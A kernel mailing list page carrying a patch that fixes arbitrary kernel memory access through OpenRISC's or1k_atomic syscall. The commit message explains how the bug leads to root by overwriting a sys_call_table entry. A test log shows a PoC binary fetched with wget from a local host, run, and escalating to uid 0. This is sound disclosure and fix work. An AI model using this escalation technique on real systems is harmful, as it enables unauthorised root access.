mirror of https://lore.kernel.org/lkml/
 help / color / mirror / Atom feed
From: Ali Ahmet Memis <ali@iusegentoo.com>
To: Jonas Bonn <jonas@southpole.se>,
	Stefan Kristiansson <stefan.kristiansson@saunalahti.fi>,
	Stafford Horne <shorne@gmail.com>
Cc: Arnd Bergmann <arnd@arndb.de>,
	linux-openrisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	stable@vger.kernel.org
Subject: [PATCH v2] openrisc: fix arbitrary kernel memory access via or1k_atomic syscall
Date: Fri, 21 Aug 2026 01:45:27 +0000	[thread overview]
Message-ID: <20260821014543.588228-1-ali@iusegentoo.com> (raw)
In-Reply-To: <20260821013839.587041-1-ali@iusegentoo.com>

sys_or1k_atomic() (syscall 244 in the "or1k" ABI) takes two user
pointers, v1 and v2, and swaps the words they point to in hand-written
assembly.

    l.lwz   r29,0(r4)
    l.lwz   r27,0(r5)
    l.sw    0(r4),r27
    l.sw    0(r5),r29

The pointers are not checked with access_ok(). The four memory
accesses also have no exception table entries.

A caller passes a kernel address as either pointer, and the syscall
reads from and writes to it directly.

This gives an unprivileged process a kernel read/write primitive. It
overwrites kernel data such as the sys_call_table, gaining code
execution in kernel context.

Check both pointers before entering the critical section. Add fixups
for the four memory accesses so faults on valid but unmapped user
addresses return -EFAULT.

Fixes: 9d02a4283e9c ("OpenRISC: Boot code")
Cc: stable@vger.kernel.org
Signed-off-by: Ali Ahmet Memis <ali@iusegentoo.com>
---
v2: add Cc: stable@vger.kernel.org, missed in v1.

Tested against an unpatched or1ksim build with a local PoC that uses
this syscall to overwrite a sys_call_table entry and escalate to root:

ali@archlinux:~$ cd ~/or1k-build/buildroot/output/images
ali@archlinux:~/or1k-build/buildroot/output/images$ qemu-system-or1k -kernel vmlinux -nographic -append "console=ttyS0"
FDT at (ptrval)
Linux version 6.18.7 (ali@archlinux) (or1k-buildroot-linux-musl-gcc.br_real (Buildroot -g86102dd8) 15.3.0, GNU ld (GNU Binutils) 2.45.1) #5 Fri Aug 21 00:38:10 UTC 2026
OF: reserved mem: Reserved memory: No reserved-memory node in the DT
CPU: OpenRISC-13 (revision 8) @20 MHz
-- dmmu:  128 entries, 1 way(s)
-- immu:  128 entries, 1 way(s)
-- additional features:
-- power management
-- PIC
-- timer
Initial ramdisk not found
Setting up paging and PTEs.
map_ram: Memory: 0x0-0x8000000
Zone ranges:
  Normal   [mem 0x0000000000000000-0x0000000007ffffff]
Movable zone start for each node
Early memory node ranges
  node   0: [mem 0x0000000000000000-0x0000000007ffffff]
Initmem setup node 0 [mem 0x0000000000000000-0x0000000007ffffff]
itlb_miss_handler (ptrval)
dtlb_miss_handler (ptrval)
OpenRISC Linux -- http://openrisc.io
Kernel command line: console=ttyS0
printk: log buffer data + meta data: 131072 + 409600 = 540672 bytes
Dentry cache hash table entries: 16384 (order: 3, 65536 bytes, linear)
Inode-cache hash table entries: 8192 (order: 2, 32768 bytes, linear)
Sorting __ex_table...
Built 1 zonelists, mobility grouping on.  Total pages: 16384
mem auto-init: stack:all(zero), heap alloc:off, heap free:off
mem_init_done ...........................................
SLUB: HWalign=16, Order=0-3, MinObjects=0, CPUs=1, Nodes=1
NR_IRQS: 32, nr_irqs: 32, preallocated irqs: 0
clocksource: openrisc_timer: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 95563022313 ns
Console: colour dummy device 80x25
40.00 BogoMIPS (lpj=80000)
$ id
uid=1000(test) gid=1000(test) groups=1000(test)
$ wget -O /tmp/x http://10.0.2.2:8000/lpe_static
Connecting to 10.0.2.2:8000 (10.0.2.2:8000)
saving to '/tmp/x'
x                    100% |********************************|  174k  0:00:00 ETA
'/tmp/x' saved
$ chmod +x /tmp/x
$ /tmp/x
Initial: uid=1000 euid=1000
Installing commit_creds into getuid entry
sys_call_table[174] overwritten
original handler = 0xc002e2ac
Calling hijacked syscall with init_cred
hijacked syscall returned 0
Restoring original getuid handler
syscall table restored
Final identity: uid=0 euid=0
# id
uid=0(root) gid=0(root)
#

 arch/openrisc/kernel/entry.S | 42 ++++++++++++++++++++++++++++++++++++++---
 1 file changed, 39 insertions(+), 3 deletions(-)

diff --git a/arch/openrisc/kernel/entry.S b/arch/openrisc/kernel/entry.S
index c7e90b09645e..2e8c4102cd62 100644
--- a/arch/openrisc/kernel/entry.S
+++ b/arch/openrisc/kernel/entry.S
@@ -1223,15 +1223,49 @@ _no_syscall_trace:
  *
  */

+/* Keep this literal; hi()/lo() can't use the UL-suffixed TASK_SIZE. */
+#define OR1K_ATOMIC_ADDR_LIMIT	0x7ffffffc
+
 ENTRY(sys_or1k_atomic)
 	/* FIXME: This ignores r3 and always does an XCHG */
+
+	/* Check both user pointers before accessing them. */
+	l.movhi	r13,hi(OR1K_ATOMIC_ADDR_LIMIT)
+	l.ori	r13,r13,lo(OR1K_ATOMIC_ADDR_LIMIT)
+	l.sfgtu	r4,r13
+	l.bf	9f
+	 l.nop
+	l.sfgtu	r5,r13
+	l.bf	9f
+	 l.nop
+
 	DISABLE_INTERRUPTS(r17,r19)
-	l.lwz	r29,0(r4)
-	l.lwz	r27,0(r5)
-	l.sw	0(r4),r27
-	l.sw	0(r5),r29
+10:	l.lwz	r29,0(r4)
+11:	l.lwz	r27,0(r5)
+12:	l.sw	0(r4),r27
+13:	l.sw	0(r5),r29
 	ENABLE_INTERRUPTS(r17)
 	l.jr	r9
 	 l.or	r11,r0,r0

+	/* Either pointer was outside user space, or turned out to be
+	 * unmapped/inaccessible when we actually touched it.
+	 */
+9:	l.jr	r9
+	 l.addi	r11,r0,-EFAULT
+
+	.section .fixup, "ax"
+14:
+	ENABLE_INTERRUPTS(r17)
+	l.j	9b
+	 l.nop
+	.previous
+
+	.section __ex_table, "a"
+	.long	10b, 14b
+	.long	11b, 14b
+	.long	12b, 14b
+	.long	13b, 14b
+	.previous
+
 /* ============================================================[ EOF ]=== */
--
2.51.0

  reply	other threads:[~2026-08-21  1:46 UTC|newest]

Thread overview: 3+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2026-08-21  1:38 [PATCH] " Ali Ahmet Memis
2026-08-21  1:45 ` Ali Ahmet Memis [this message]
2026-08-29  6:29   ` [PATCH v2] " Stafford Horne

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=20260821014543.588228-1-ali@iusegentoo.com \
    --to=ali@iusegentoo.com \
    --cc=arnd@arndb.de \
    --cc=jonas@southpole.se \
    --cc=linux-kernel@vger.kernel.org \
    --cc=linux-openrisc@vger.kernel.org \
    --cc=shorne@gmail.com \
    --cc=stable@vger.kernel.org \
    --cc=stefan.kristiansson@saunalahti.fi \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox

all inboxes | Powered by JetHome®